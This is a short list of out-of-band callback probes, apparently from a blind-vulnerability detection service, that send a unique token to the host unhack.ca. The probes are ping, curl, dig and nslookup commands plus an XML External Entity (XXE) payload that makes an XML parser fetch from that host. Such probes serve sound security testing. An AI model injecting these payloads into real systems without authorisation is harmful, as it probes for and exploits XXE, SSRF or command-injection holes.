$ ping -c1 -p 0011fa03a9e1403492d343f4bcadf700 unhack.ca
$ curl http://unhack.ca/p/11fa03a9e1403492d343f4bcadf7
$ dig 11fa03a9e1403492d343f4bcadf7 @unhack.ca
$ dig 11fa03a9e1403492d343f4bcadf7.ns.unhack.ca
C:\> nslookup 11fa03a9e1403492d343f4bcadf7 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/11fa03a9e1403492d343f4bcadf7">]> <foo>&xxe;</foo>